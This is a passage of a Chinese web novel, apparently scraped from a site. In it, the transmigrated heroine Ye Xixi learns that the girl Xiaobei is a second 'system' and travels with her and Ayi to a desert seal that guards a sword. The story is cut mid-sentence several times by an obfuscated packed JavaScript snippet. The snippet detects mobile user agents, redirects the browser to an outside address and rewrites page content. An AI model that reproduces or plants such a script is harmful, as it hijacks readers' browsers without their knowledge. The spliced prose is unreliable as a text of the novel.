在少年转悲为喜的目光中,她冷声道:“这是最后一次”。 木姜发誓不会再动神兵的念头,并求她留魏常一命。 她想,凶神恶煞如她,究竟给了少年怎样的错觉,让他觉得自己可以一而再再而三,在国与民的大事上为他让步。 她表面上答应了木姜的请求,而后立即派人围住魏府,只待两人见面,便当场捉人。 她始终记得那一刻,木姜脸上的错愕。 也正是在他错愕的目光中,她当着国君和太夫人的面,手刃他,自证清白。 24. 双系统 阿依睁开眼睛,一脸湿漉。 “什么意思,”饶是她再畏惧神明,醒来看到小悲后,也难掩悲愤,“你不是说会给我一个机会,让我救他吗?” “为什么要让他死在我面前,而害他的凶手,居然和我长着一样的脸?” 她几欲泣血:“您不慈悲!” 小悲却没有理睬她,而是看向叶熙熙:“人的可悲之处在于执迷不悟,即便转世成为一个完全不同的人,灵魂也依旧会重复之前的选择。老师,现在你对这句话有何看法?” 叶熙熙不言。 兰姬不知道两人回溯前世后发生了什么,但凭着一颗七窍玲珑心,猜到了前因后果。 她安静地抱住阿依,让女子把头靠在她肩上。 “人是不会变的,”小悲继续方才的话,“翊夫人转世成了阿依,但为达目的不择手段的本性难改。只不过翊夫人是为了家国百姓,而阿依是为了一个人。” 说完这些,她又道:“岁梧也会是如此。前世的他为了不为人知的目的,死在灾殃中,未能履行十日之约,于是世上从此再无碧落。” “我永远没有机会亲口问燧乌,但或许我可以从他转世的身上找到答案。” 叶熙熙问她:“那把剑,现在还在沙漠的封印里对吗?你想得到它?” 小悲摇头:“我对剑不感兴趣,但我要找到封印。” 叶熙熙因她这番话陷入沉思:“如果解开封印,灾殃会复苏,天下也会大乱。” 其实灾殃的苏醒早有预兆,岁梧弑父弑兄登上君位,血食倾覆,而诸城王侯意图拜托王畿,自立为君,已经是天下分裂混战的先兆。 如果灾殃复苏,或许大战便会一触即发,一切的结局都会滑向世界毁灭,而她任务失败,只能重开。 小悲笑吟吟的:“如果我说我不会解开封印,你还会继续帮我吗,老师?” 虽然她憋着坏水的神情很难令人信服,但不得不说自从认识她之后,叶熙熙还没见她食言过。 再者,就算小悲真的要解开封印,她只有跟着去了,才能想办法阻止她。 叶熙熙忽然想起来,自她从阿依前世回来之后,还没有听到系统提示音,说明支线任务并没有取得新进展。 思来想去,可能是等小悲取完第二朵生魂后,任务才算完成:“现在你要取她的生魂吗?” 小悲望向阿依:“你猜她这一世为何笨笨的,全然没有翊夫人那般神采?” 阿依前世的结局,到发现翊夫人就是自己前世后便戛然而止,事实上还有很多坑没有填。 封印中的灵曾经邀请翊夫人接替自己的位置,在她拒绝后,留下一句耐人寻味的“你会回来的”。 但历史上,翊夫人在魏常死后第二年便自缢而亡,难道她的亡魂飘到了沙漠里,去镇守封印了? 着实离奇。 叶熙熙顺着这个思路想:“你是说,她的灵魂有问题?” “她的魂魄不全。”小悲颔首,“而失去的那一半,就在封印中。” “等见到了封印,再向你解释也不迟。”她还未说完,门忽然开了,三个总角小孩嬉闹着走进屋里,嘴里喊着阿依的名字。 见到阿依脸上的泪痕,其中一个小姑娘问道:“阿依姐姐,你怎么了?” 叶熙熙一眼便看到她手里拿着的东西,是一个白瓷像。不仅是她,其他三个小孩手里也有。 她猛地望向小悲:“他们手中为何会有你的瓷像?” “不光是他们,这个城内的百姓,都是我的信徒。”小悲微微一笑,“只不过我还未得空,还要过一段时间才能给他们点上红痣。” 点上红痣,背后的意义不言而喻。曾经在顾垣的村子里,叶熙熙看到所有村民都点了红痣,同样,阿依也是因为点上红痣,成为小悲的信徒,才面临被剥去生魂的命运。 在小悲眼里,她的信徒,都是她为了剥去生魂而圈养的牲畜,是她的猎物。 叶熙熙干涩地开口:“可他们还是孩子。” “看来你和其他人是一样的,”小悲说道,“在欲望面前,没有老少之分。” “可他们太小了,根本不明白欲望意味着什么,也不明白实现欲望的代价。”叶熙熙实在是不忍,“你放过他们吧。” 心知对方只会无动于衷,她索性直接来到几个孩子面前,把瓷像夺走。 “不许抢……那是我的!” 一个孩子嚎啕大哭。 叶熙熙被哭声震得心烦意乱,她走到院子里,在苍茫月色中,将瓷像摔在地上。 瓷像落地的那一刻,她想,上面应该附有什么法咒,不似寻常瓷器脆弱,摔一下怕是摔不坏。 没想到一声脆响,白瓷落地,碎得七零八落。一尾红鱼从白瓷像的身体中钻出来,卯着劲游向夜空,而后炸开一片姹紫嫣红。 是……烟花? 先前哭叫的小孩子也止住了声音,抬着小小的脑袋,睁大眼睛瞪着天空。 像是一呼百应,从城内的各个角落,千百道绚光直冲云霄,长啸一声,开出纷繁的花来。 背后传来少女咯咯的笑声。小悲揽住她的臂膀,一如初见时,流露出无意识的依赖。 叶熙熙知道自己误会她了。这个瓷像是再平常不过的玩意,根本没有她想象中歹毒的咒法。 一阵晕眩,她被小悲抓着飞上屋顶。两人举头望着天空,瞳孔中倒映着漫天华彩。 少女神神秘秘:“现在这么吵闹,无论我说什么,应该都不会被人听见吧?” 然后叶熙熙的耳边便炸开一句暴言。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331708|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天上的神啊,你们能听到吗?我要曰你们仙人!” “有本事立刻出现在我面前让我扇你们!” “王八羔子!缩头乌龟!” 看到叶熙熙满脸的一言难尽,小悲笑得更开怀了。 “老师,”她在叶熙熙耳边喃喃道,“我总能跟您学到新东西。” …… 小悲说自己找不到封印的位置,需要阿依带路,叶熙熙对她的话表示怀疑。 阿依灵魂不全,把生魂剥了也不是完整的,所以需要先把另一半补齐。 但叶熙熙不得其解,小悲的信徒那么多,为何独独选择了特殊的阿依。 临行前,小悲给了阿依和心爱之人道别的机会。而叶熙熙也有机会一睹木姜的转世。 少年面容如旧,安睡在床上,前世眼下的疤痕,转世后已化为一颗泪痣。 如阿依的愿,世子的病已经好转了不少,但背后的原因,究竟与这次回溯前世之行有多少关联,不得而知。 毕竟,与其说是回溯前世,不如说是小悲给阿依造了一个幻境,残忍地看她重复灵魂中的本性,自以为能做出改变,最后却发现自己无能为力。 这点倒是意外地符合原著中对小悲的描写——本无回溯时间之力,制造环境,欺骗信众。 虽然她曾经让孟昶两次回溯时间,但跟回溯前世这种大工程相比,还是简单许多。或许小悲的力量仅止于此,或许系统对她能力超模的担心是多余的? 叶熙熙胡思乱想。 不过说起系统,仿佛上次见面已经是很多年的事了。如果不是提示音照常响起,她都怀疑系统是不是跑路了。 阿依知道此次分开便是永别,但是能亲眼见到世子康复,她便没有遗憾了。 叶熙熙原本还在为行程担忧,毕竟她们所在的地方距离沙漠不知有多远,如果没有外挂,哪怕是驾云,也不知道要飞多长时间才能摸着沙漠的边。 但她的担心显然是多余的。 小悲让阿依仔细回忆封印的位置:“你去过那个地方,应该记得周围有什么,长什么样子。” “你需要努力回想。”她一边说着,左手拉住阿依,右手拉住叶熙熙。 “准备好了就闭上眼睛。” 这句话莫名耳熟。叶熙熙听话照做,但脑中还在回忆究竟是在哪里、听何人说的。 她本以为接下来会有灵魂穿梭的感觉,譬如浸入回溯时间之河中那种放空感,但什么都没有发生。 长时间的沉默令她有些怀疑,忍不住偷偷睁开一条缝。 然而就是这一瞥,让她呆在了原地。 久违的系统空间,虚无的边际,甚至还有空气中实时更新的评论区,但是站在她面前的人,不是那个打了马赛克的系统。 而是小悲! 25. 梦一场 “求雨的祭祀,在每年的春季都会如期举行。” “而从今年开始,我们将会有一位新的祭司,向昆仑的神传达人们对雨水的渴求,对丰饶与生存的向往。” 这些话语进入叶熙熙的脑海,她睁开眼睛,发现一个女子正在温柔地看着她。 “且留下片刻,同我去看这场祭祀吧。” 叶熙熙忘记自己为何忽然出现在这里,但她知道眼前的女子叫栖川,她们现在所在的地方是碧落之墟。 而这里即将举办一场求雨的祭祀。 她觉得自己可以去看一看,于是牵着栖川的手,跟在她身后,慢慢从一片寂静的旷野中,走到部落的祭坛。 祭坛周围人头攒动,大家脸上带着平和的笑容,时不时交头接耳。 “今年我打算多种些药草。” “田婆婆给了我一些菜种子,正好试试能不能种活,她家的菜总是长得特别好。” “田婆婆的种子吗?她也给了我一些,我还说今年种种试试呢。” 一个老妇人笑道:“不是我的种子好,是祭司大人为我们求来的雨水多。只要不缺水,谁家的菜种不好呢?” 叶熙熙跟着栖川走到人群中,找到燧乌、兮烛和枢明。 她放下叶熙熙的手,另一手中一眨眼多了一个草篮。篮子里放着十余枚圆滚滚的果实,淡黄色,透出一股清甜香气。 叶熙熙好奇地伸过手去,不料手径直穿过了篮子,现在她好像一个虚影,不存在于这个时空中。 可是方才,栖川是如何拉着她的手,将她领过来的呢? 叶熙熙看着她拈起一枚果实,放入口中,一边咀嚼一边细品。 而后两只眼睛冒星星:“好甜。” 她又拿起一枚,塞到枢明嘴里。 枢明猝不及防,果实囫囵入口,他用手拿住,在果子上浅浅咬了一口。 而后咽了下去,又咬了一口,看来也是觉得十分美味。 这时栖川又往兮烛口中塞了一颗,被枢明看在眼里,后者不免有些失落。 兮烛闭着双眼,也不管栖川往他嘴里塞了什么进去,一整个吞下去了。 栖川问他:“甜否?” 兮烛也不知道有没有品出个滋味来,但一脸信誓旦旦:“甜,没吃过的这么甜的。这是什么?” “秋实果。” “你从哪儿摘的?”燧乌看几个人吃得正香,从她篮子里拿起来一个尝了尝。 “呕!” 他把嘴里的东西都吐出来,因为太过难吃,脸都扭曲了:“你们合起伙来骗我?” “哈哈哈哈哈!”栖川大笑,“我本来只是想骗枢明的,谁知道他吃完以后不仅没说酸,反而顺着我继续往下演。” 兮烛就更不用说了:“我老远就闻到一股酸苦味,这就是我为什么没有咬碎,直接咽了。” 燧乌点点头:“你们俩把人带坏了还挺开心。” 他的意思是,栖川和兮烛惯会使诈,居心不良,而枢明刚来到碧落时妥妥的表里如一。只是跟他们两个混久了,枢明现在也学他们变狡猾了。 枢明有些意外:“可是我刚刚吃的那个确实很甜。” 他的神情真挚,不似作伪。 栖川拍拍他的肩:“你的演技真是越发精湛了,连我都快被你骗了去。” 枢明:“……” “你这是从外面野地里摘的吧,”燧乌问栖川,“我早说了,秋实树,要经过人的精心照顾,才能结出甘甜的果实。” 栖川:“这是从你的那棵树上摘的。” 燧乌:“……” “你居然敢摘我的果子!”他跳起来,栖川大笑一声,化作一道细细的水流在人群中穿梭,躲避燧乌的攻击。 叶熙熙忍俊不禁,她本来想跟着栖川和燧乌一起走,但是远远瞟到了两个熟悉的身影。 少女坐在水边,看着自己的倒影,小心地摸了摸自己的头饰。 原先的赤色骨珠链被取下来收好,换成了一串白玉,玉石间穿了几颗骨铃,随着她的动作发出清脆的响声。 她换上一身素色的衣裙,身边的一个姑娘为她套上骨饰和玉饰。 她伸展手臂,玉石和骨铃碰撞,叮当作响。 长号吹响,鼓声阵阵,祭坛下的众人噤声了。 随着鼓点的声音,她走上祭坛,骨铃移步生音。 乐声渐起,她在众人的仰望中,抬起手臂,凝望天空,发丝随风飞舞。 她开始了祭礼之舞,欠身,抬起后腿,宛如天上的神鸟,欲振翅而飞。又舒展臂膀,脸上无悲无喜,眼神随着手掌、足尖流转。 鼓声渐弱,她轻轻旋身,而后张开双臂,闭上眼睛,太阳的光芒落在额头,像是天上的神对世人降下一瞥。 大地在震动,似是有什么东西要破土而出了。 叶熙熙惊异地望着自己脚下,但是退无可退,她观察周围的人,没有一个人惊慌失色,甚至没有人关注大地的异样。 所有人都在凝望着祭坛上飞舞的身影,庄重而虔诚。 叶熙熙看到他们眼中流下了泪水。 晶莹的水液,濡湿了每个人的眼尾,然后滑落到脸颊,最终落入大地。 神感受到了人们的真诚。 大地裂开细密的缝隙,在泪水的滋养下,有绿色的嫩芽破土而出,渴求般地,追寻着阳光,而后向上伸展,无声地表示餍足。 叶熙熙被眼前的景象惊呆了。 她后退几步,不知为何很想离开这个地方,转身的时候,她不小心撞到了身后的人,脸上的东西险些滑落了。 她忽然发觉自己戴着一个面具,方才整个祭祀仪式上,她都藏在这个遮蔽物后面,从孔洞中观察着祭坛上下的景象。 但她还应该继续戴着它,因为还没有到摘下的时候。 她把面具扶正,目光穿过眼部的窟窿,看着脚下的路,而后一步一步离祭坛和人们远去了。 前面是什么地方? 她看到了一座高山,中间那个熟悉的洞穴,让她回想起来,那是灾殃藏身的地方。 越走越近,她听到不远处传来厮杀的声音。 是谁? 是碧落的战士们吗? 她抬起头,看到成百上千拿着武器的碧落族人,在呐喊声中,带着赴死的决心,和同伴们一起头也不回地跃入洞穴中。 他们仿佛要用身体去填补。 叶熙熙感到十分陌生,她百思不得其解。 她能感受到灾殃的力量已经无比微弱,甚至落到了前所未有的低谷。重创灾殃,可以说是轻而易举。 究竟是什么,让他们一定要走到赴死这一步呢? “少觋。” 她闻声转过身去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346821|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 燧乌站在她身后,他在叫她的名字。 “答应我,封印完成之后,一定要去碧落找栖川他们。” “这是我们几个的约定。” 他盯着一批又一批消失在灾殃中的战士,而后望向她,执着的眼睛里流出泪水:“少觋,求你,不要丢下他们。” 叶熙熙有些慌张,她不明白燧乌在向她乞求什么,但毫无疑问她什么都做不到。 她向后退去,扶着脸上的面具,甩开身后的人,一路跑到小河边。 熟悉的河流,她想起来,方才在祭祀开始前,少女就坐在这里,看着自己的倒影。 但是现在,她环顾四周,祭坛、聚集的人、大片破土的绿芽都不见了。 这里只剩下一条河流,和它身边普通而辽阔的大地。 她走到跟前,看到河流中的倒影,她脸上带着兽骨面具,映在水面上的人正在盯着她。 叶熙熙摘下了面具。 水中的人动作和她一致。 然后叶熙熙看到了她的脸。 不,这不对。 水中的人朝她微微一笑,从河里伸出手,将她拖进水中,力气大到叶熙熙无法反抗。 救救我! “……一千年后的人们,会把每年发生的大事用文字记在书里,留给后世的人看。” 叶熙熙睁开眼睛,发现自己正坐在几个人中间,大家都在看着她。 杯珓刚从祭坛上下来,没来得及换去祭祀装束,腰间还挂着玉石和骨铃。 她期待地问叶熙熙:“老师,如果你有这样一本书,你会把今天的祭祀写在里面吗?” 叶熙熙感觉自己的身体,但她听到自己回答道:“当然会的。” “那你会把我们几个都写下来吗?”栖川问道。 “后世的人们,会在书里写一种故事,一群人,因为某种共同的信念聚在一起,经历一些事,最后创造某种神迹。”叶熙熙说,“或许我会为我们写下一个故事。” “这个故事里会有很多角色。”她听到自己继续说,“你们可以在故事中展现真实的自己,也可以变成想象中的某个人。” “也不知道少觋写这个故事的时候,我会在做什么。”栖川思忖,“不如,就写我那个时候在做什么吧。我不需要有很多戏份,只希望能记录下真实的我。” 叶熙熙颔首,表示记下了。 杯珓眼睛一亮:“我希望能成为和老师一样厉害的人,但想试试和老师站在对立面,可以是坏人。” 燧乌说道:“我想当回首领试试,但是跟小杯一样,我想做一个不是很正派的首领,当然,最好能跟心爱的人一起统治我的部落。” 大家发出惊讶的声音:“看不出来,燧乌也有黑暗的一面啊。” 燧乌对他们的惊讶表示无语,他耸耸肩:“可能是打灾殃太多次,有点被灾殃影响了吧,但你们不觉得当一个黑暗的部落首领很有看头吗?” 其他人纷纷表示不觉得。 枢明说道:“倘若是我,我希望能成为重要的角色,可以不必出场很多次,但每逢出场,必有重要的事发生。” 大家纷纷称赞他的想法很妙。 兮烛正在酣眠,兽耳将眼睛都遮住了。 栖川本来想叫醒他,但是转念一想:“既然他睡着了,那这本书里就不写他了,谁让他没赶上呢。” 26. 守封印 我是谁? 叶熙熙看着眼前谈笑风生的友人们,忽然产生了这样一个疑问。 你是少觋。 有一个声音在她脑海中回复。 少觋? 这个名字听上去很熟悉,但叶熙熙觉得自己对这个名字没有归属感,相反,她脑子里浮现出一个人影,玄衣玉容,带着些笑意,他总是喊她“熙熙”。 叶熙熙,对,我叫这个名字。 叶熙熙抬起头,看着眼前熟悉的角色们自顾自地聊天,他们都是记忆中来自碧落之墟的人,是少觋的友人。 而自己坐在这里,取代了少觋。 不,她不是自愿的,她本无意顶着少觋的名字,混入此地。 她一定是做梦了,或者说,她被魇住了,她必须醒过来。 她起身,周围的人像是什么都觉察不到一般,始终保持着一副笑脸,甚至不曾看过来一眼。 叶熙熙要离开这个地方,或者说,她要让自己醒过来。 但是梦境中似乎有什么东西察觉到了她逃跑的念头,藏在暗处,缓慢朝她迈出了一步。 然后叶熙熙就看到了它——一副巨大的兽类骨架,即使一丝血肉都不剩,它还保持着最初的动物本能。 它准备好狩猎了,而她是它的猎物。 叶熙熙看到了那怪物骨架上的獠牙,救命,她脑子里只剩下这两个字,撒开步子狂奔的时候,她无声地发出尖叫。 这时一个沉着,冰凉的声音像羽毛一样落在她心头。 “回去,回到他们身边,少觋。” 不,我不是少觋,我是叶熙熙。 我不要回去。 她拼命张大嘴巴,不断重复着这些话,但发不出任何声音。 是的,人在梦里,是说不出话来的。 “回去,少觋,做你应该做的事。” 叶熙熙捂住耳朵,回头看向那野兽,它离自己越来越近,就快追上来了。她感觉到自己的双腿愈发无力,她马上就要被献祭了。 它会杀死她吗? 用那尖利的獠牙,将她整个人刺穿? 她绝望了,因为她发现不管自己怎么努力,都无法阻止骨架朝自己的后背逼近。 只差一点,一点点…… “……梦里有个妖魔鬼怪一直在追我,无缘无故,但我知道一旦被它追上,它便会杀死我。” “后来它距离我越来越近,我知道自己难逃一死了,然而这个时候,我忽然意识到我在做梦。” 这些声音忽然如风一般飘进叶熙熙的脑海,她顾不得这话是谁说的了,只是绞尽脑汁回想,接下来他说了什么。 他好像知道逃离梦境的方法,他当时说—— “所以我就停下了,让那个妖怪的獠牙刺穿我的身体,然后我就醒了。” 叶熙熙睁大眼睛。 她像中了魔咒一般,止住了脚步,闭上眼睛准备迎来最后一击。 没有想象中的疼痛,但她知道她的死期已至。 睁开眼睛时,叶熙熙如脱了水的溺亡者,拼命呼吸,像是要把虚拟空间里的氧气都填进肺里。 小悲居高临下地抬着她的后颈,让她的脸偏向一边,不至于在身体高度紧张时呼吸受阻。 “叶熙熙,你怎么敢在梦里死掉?” 叶熙熙还没搞清楚状况,但她清晰地从小悲口中听到了自己的名字:“你……” “如你所见,我是系统,但不是唯一一个。”小悲回道,“这是你第一次见到以系统形式存在的我。” 叶熙熙还在消化她的话。小悲是系统,但她不是唯一一个,这是她第一次以系统身份自居。 那岂不是说,她之前遇到的系统,那个威胁她,让她不要把记忆还给枢明的系统,是另外一个存在? 这本书居然是双系统? 这就印证了叶熙熙先前的猜测,小悲回溯时间的能力,就是读档,而她拥有这种能力,不是因为她是宿主,而是因为她本人就是系统! 小悲显然不想过多解释:“下次不要在轻易死在梦里,否则你可能会因为异常的精神波动弹出系统空间。” “但是你的意识不会回到现实,而是会进入第三周目,而你之前所做的一切努力都会白费。” 叶熙熙想起来自己为什么最后会选择赴死了,岁梧之前跟她说过很多莫名其妙的话,她当时本没往心里去,后来也从没有回想过。 但是方才在梦境之中,当她被骨架追逐,生死一线时,那些话不知为何清晰地呈现在她脑海中,而她可能也是绝望之中无计可施,所以才选择相信并照做。 在岁梧说完这些话时,她就怀疑他有言外之意没有表明。而现在,听到小悲说自己不能轻易在梦里死去,否则会导致重开,如果她说的都是真的,那么岁梧说这番话的目的,岂不是很可疑? “等你缓过来了,我们就会回到原来的世界,去找封印。” 小悲告诉她:“等我们完成祭祀之后,我的隐藏剧情就会解锁。另一个系统应该跟你说过了,看完我的剧情,就该轮到岁梧了。” “在刚才的梦里,我就是少觋,但我不是她。”叶熙熙问,“这究竟是怎么回事?” “我没办法给你答复。”小悲说,“其实你已经发现很多细节了,你只是需要理清它们,然后找出你真正的敌人。” “我是系统,但我不是这本书的主人。我帮不了你。” 说完,画面转换,叶熙熙发现自己来到了一片沙漠。 相比于她的迷茫和不知所措,阿依显得正常多了。 但她也发现了叶熙熙的异样:“国师大人,您还好吗?” 叶熙熙敷衍地点了一下头。 现在她们所在的地方,就是记忆里木姜带翊夫人来的神兵封印之处,小悲站在她们两人前方,对着封印发出一声召唤:“镇守在此地的灵,可否出来同我一叙?” 荧蓝色的光圈从几人脚下飞旋而起,中间的虚影渐渐浮现,但是身形明显与最初记忆中,木姜和翊夫人看到的那个虚影不同。 而那虚影说出的第一句话,印证了叶熙熙的猜测。 “是上古之人来了吗?” 是女子的声音,令叶熙熙感觉一下子回到了偏殿中,眼前还是那道熟悉彩漆屏风。 原来翊夫人真的回到沙漠赴约了。 所以…… 叶熙熙看着阿依,想起小悲之前常常说她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358023|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一世笨,是因为她魂魄不全。 而她缺少的这些魂魄,原来就在封印之上,镇守着燧乌的剑。 小悲点头:“没错,我今日是为了封印而来。” 听完她的话,虚影没有再说什么,将三人环视一眼,目光落在阿依身上。 “你来了。” 阿依对她的身影,或者说对自己的身影,自然不陌生。 她看到出现在此地的翊夫人,显然也明白了瓷仙娘娘的用意。如愿让世子康复之后,她却没有被瓷仙娘娘立刻剥去生魂,反而还被带到了封印的所在。 她原以为是瓷仙娘娘需要她带路,原来也是因为,她需要回到这里,补全自己的魂魄,才能献上迟来的供奉啊。 但是这些都不重要了。 阿依看着封印中的虚影,问出自己一直以来的疑问:“你杀了他,后来发生了什么?” 虚影沉默许久,似乎是在回忆久远的往事:“他们死后,我成了唯一一个亲眼见过神兵封印的人。” “太夫人和我商量,她觉得我堪当大任,不如让我来做神兵的主人。” “其实我早就料到了,起初国君派魏常深入猃狁,能得到太夫人的默许,就证明在神兵这件事上,太夫人也动了念头。” “我自然先表明自己的立场,神兵不宜,也不必现世。人的国家,要由人自己来守。而后将虚影告知于我的话全盘托出,并告知她利弊。” “但太夫人没有听。” “我又问她,即便要解开封印,需要献祭上千人,这些人,从哪里来?” “牺牲我朝的子民?那我们有何脸面去见先祖。牺牲异族人?此等损人之事,难道不会反噬我朝?” “但我无论如何也想不到,太夫人请来众臣,将此事细细商议一番,众人一致认为应该获取神兵,甚至主动提出献祭自己。” “我至今忘不了太夫人的眼神。她说,‘我朝子民皆识大体,有些事,不必走到强求那一步。’” “那一刻我终于明白了虚影的话。今日我能拦下一个人,但明日又会有其他人打封印的主意,只要封印还在,后患无穷。” “所以我来到了这里。既然我改变不了其他人,而世上有许多人也不需要我救,那我便守好‘祸源’。” 看着她挺拔的身影,叶熙熙只觉得肃然起敬。 阿依继续问:“史书上说,你是自缢而亡。” 虚影笑笑:“假死而已。若说我生命尽头最让我惊讶的人,莫过于我那名义上的夫君。他让我只管去做想做的事,剩下的,有他在。” “不过,这么多年来,我始终一事放心不下,”虚影问她们,“我朝,现在如何了?” 你走后,没过几年,旧国便覆亡了。 但叶熙熙没有开口告诉她。 看到她们的神情,虚影便猜到了几分。 她轻叹一声,而后陷入沉默。 或许她也在想,旧朝失去了魏常,又失去了她这一员大将,没有她们的守护,必定十分艰难。 在这件事上,是她任性了。 但是,这世上的任何一个朝代,终究有走到尽头的一天,有些事,她守得住一时,守不到永远。 27. 唤剑来 小悲表明来意:“我此次来,是要带你走。” “走?”翊夫人问道,“你找到接替我的人了?” “不,封印已经没有存在的必要,因此也不需要人来守。这把剑的主人很快会过来取走它。” 叶熙熙看向小悲,按照她话里的意思,剑的主人显然不是指燧乌,而是他的转世岁梧。 岁梧已经决定亲自征讨猃狁,所以,他注定会来到这里地方,取走封印灾殃的剑? “没有人能动这把剑。”翊夫人冷声道。 一股力量从她脚下震动开来,大地发出喑哑的轰隆声,激起飞扬到腰身的尘沙。 “看来我没有解释清楚,”小悲无意与她为敌,“灾殃沉睡千年,已经积蓄了足够的力量来突破封印。而封印历经千年,力量已然衰微。别说是你,再多的人来也守不住它。” “这是天下人的劫难,但没人能够逃过此劫。” 翊夫人凝视她:“我凭什么相信你?” “你在封印上扎了根,应该能感受下地下那东西在蠢蠢欲动,你也试过加固封印,但失败了。” 从翊夫人凝重的表情中,叶熙熙知道小悲都说对了。 小悲继续道:“而我来此,不是为了告诉你,我们无能为力。相反,只有释放出灾殃,世界才能有一线生机。” “何以见得?” 小悲反问:“你可曾想过,这个封印最初是怎么来的?” “上古的战士以身为祭,借助巫的力量,用剑刺穿了灾殃的核,并结下封印,彻底斩断了灾殃和外界的联系。” “同外界隔绝开,灾殃便彻底失去了养料——人世间的贪婪、绝望、杀欲,所有带来毁灭和无序的恶念。这便极大地延缓了它复苏的时间。但是延缓,就意味着它并没有死绝,终究还会有苏醒的一日。” “灾殃苏醒之后,对抗灾殃的历史将会重演,虽然世殊时异,但是依旧会有一部分人,拿起武器,拼尽全力打败灾殃,甚至将它再次封印。” “这其中注定少不了灾难、牺牲和泪水,但这是人族的使命。” 翊夫人喃喃:“终究,还是逃不过这一日吗?” “你已经尽己所能,不必苛求自己。”小悲难得温和,“至少你没有让人族陷入争抢所谓神兵的动乱中,人族没有自相残杀,相反,他们会团结起来,对抗人族共同的敌人。” 翊夫人颔首:“你说的话很动听,只可惜——” “你是灾殃的信众,纵使你曾经属于人族,但我不可能相信你。” 她提起的往事,似乎是小悲一直以来所回避的:“我是碧落的女儿,碧落灭亡后,我被伐谒所俘,被迫成为了灾殃的子民。” 叶熙熙忽然想起她说过一句话。 “我是碧落的女儿,也是伐谒的母亲。” 母亲,意味着什么? 小悲垂眸一笑,看向许久未置一词的叶熙熙:“老师,现在只有你能帮我了。” 她的一句话,让叶熙熙成为了焦点。 叶熙熙:“……我能做什么?” 小悲一脸诚恳:“自从您走到我的任务后,我就好久都没看见您发疯了。” 发疯…… 叶熙熙看着正义凛然的翊夫人,一时间有些不知所措。 打她?叶熙熙不敢,不仅是因为翊夫人气场强大,也是因为她打心底里钦佩这个女人,她没有理由,也不敢对她不敬。 骂她?叶熙熙想象了一下自己在光圈外,指着翊夫人的鼻子跳脚大骂的画面,而翊夫人看她就像看小丑一样。 这两条路毫无疑问都不可行。 叶熙熙也是走投无路了,她恨不得躺在地上打滚。 她抬起头,直接问翊夫人:“我尊重你,所以不想让彼此难堪,请你告诉我,到底怎样你才会同意解开封印?” 翊夫人似乎才开始注意到她:“你是神仙?” 叶熙熙点点头,心道自己虽然被系统冻结了神力,但是好歹也是登记在册的仙官。 说到冻结了的神力…… 叶熙熙忽然想起,如果小悲也是系统,她能不能帮自己解开禁制,恢复法力? 翊夫人冷哼一声:“你既然是神仙,便直接亮出你的本事,和我堂堂正正打一场,若是打过了,我便同意解开封印。” 叶熙熙:只能说不愧是一代女将吗,居然提出要跟神仙打一架。 凭她对翊夫人的了解,这个女人一向不信神鬼,哪怕亲眼看到虚影这种超乎常理的存在,甚至自己也成为了虚影的接班人,但她内心始终认为,人定胜天。 毕竟,这些虚影在镇守封印之前,都是人啊。 反观天上的神仙,无论人间发生什么动乱,都不曾现身,拯救百姓与水火之中,却心安理得享受人世间的供奉。 神仙是冷漠的,而在翊夫人心中,这份冷漠也代表着无能。神仙对人族的遭遇无能为力,所以无法插手,只能作壁上观。 想到这些,叶熙熙觉得,翊夫人应该是真心想和她打一场的,如果自己输了,便印证了翊夫人对神仙冷漠而无能的看法。 只有赢,才能让她服气。 但是说到输赢,叶熙熙不用打就知道结果。她现在就是一个普通人,可能这句身体的抗伤害能力比较强,但她妥妥是一个战五渣啊。 她只能悄悄问小悲:“你既然是系统,能不能把我的法力还给我?” 小悲心如明镜:“被冻结了是吧?” 看到有希望,叶熙熙忙不迭点头 小悲:“但我没有权限,帮不了你。” 希望有多大,失望就有多大,叶熙熙难以置信:“什么叫你没有权限?” “冻结你法力的是另一个系统,它的权限高于我,我没办法越过它,帮你把法力解冻。” 小悲思忖片刻:“或许你可以尝试,一边被打一边发疯。” 叶熙熙:……听听你说的是人话吗。 算了,她豁出去了。 她深吸一口气,一脚踏进圈内:“好,我接受你的挑战。” “但为了保证公平,我隐藏了神力,现在,我就是一个和你一样的人。” 她心跳剧烈,咽了一口唾沫,但眼神明锐,不输翊夫人:“这是人与人之间的比试。” 翊夫人冷笑一声:“少废话!” 说完,一枪扫过叶熙熙的小腿,后者被打飞出去,惨叫一声摔在地上。 场外传来阿依焦急的声音:“国师大人!” 叶熙熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 